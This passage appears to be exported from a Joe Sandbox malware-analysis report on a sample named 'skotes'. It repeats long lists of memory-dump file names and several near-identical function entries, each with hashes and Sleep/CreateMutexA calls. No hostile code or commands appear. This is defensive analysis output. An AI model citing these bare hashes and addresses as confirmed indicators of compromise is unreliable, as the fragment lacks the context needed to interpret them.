Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f289677517431b2e1f235791418d1118b79dbf1b1ef4248f20567b44fd62f7a7
Instruction ID: 6839e1567b49aaaddd1b2d503af3a8e29fa693fd694849ea2cd088bed829bc09
Opcode Fuzzy Hash: f289677517431b2e1f235791418d1118b79dbf1b1ef4248f20567b44fd62f7a7
Instruction Fuzzy Hash: 70315B316042049BEB18EB78DD8976DBBE2DBC6310F24C299E028973D6D7759981C792

Function 00B79F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: aea3c438331f9be7fb5444df0207c86fd930144119f499e24da0c4b59f97919e
Instruction ID: acb6c7e321d3311087b8974512b9ae9873936683be6169e5718fbb88d1433c68
Opcode Fuzzy Hash: aea3c438331f9be7fb5444df0207c86fd930144119f499e24da0c4b59f97919e
Instruction Fuzzy Hash: 5C315B316041048BEB18AB78DC9976CB7E2EBC5310F24C699E028DB3D1D775A981C792

Function 00B7A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 31be3f20ab560c3b44de7aac2d19cbc738eb5e1204ffa9643137c8ae73a8a324
Instruction ID: c542134071467c60a3dec80911efe8d270d1b2aff7411bffe71c8871014053f0
Opcode Fuzzy Hash: 31be3f20ab560c3b44de7aac2d19cbc738eb5e1204ffa9643137c8ae73a8a324
Instruction Fuzzy Hash: B7316A316041009BEB189B78DCC976DB7E2DBC6310F20C699E038A73D1D7769980C792

Function 00B7A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7269685ed230a19c45dc20bd29f5ee14161ac58d7864c2800d872d7db058c7c3
Instruction ID: 99b1a6cffa49cd17d408242d267623d0237ec5c03d7e15c8d212ef3eda36331b
Opcode Fuzzy Hash: 7269685ed230a19c45dc20bd29f5ee14161ac58d7864c2800d872d7db058c7c3
Instruction Fuzzy Hash: 5A312A31A051049BFB18AB78DCC976DBBE2EBC6310F24C299E428A73D1D7759981C752

Function 00B7A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c00c09d0aa8ef3dcfcba93e1ab1074c15d13dfbd91433b1c91080f1e0f3dbcb4
Instruction ID: 0f1261f7b5251403f83977f5af44bc6a2d3b7deaeb785f038a1a0058627569bf
Opcode Fuzzy Hash: c00c09d0aa8ef3dcfcba93e1ab1074c15d13dfbd91433b1c91080f1e0f3dbcb4
Instruction Fuzzy Hash: C5316E316041009BEB18AB78DCC9B6DB7E2DFC5314F24C299E0289B3D5E7B699809793

Function 00B7A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
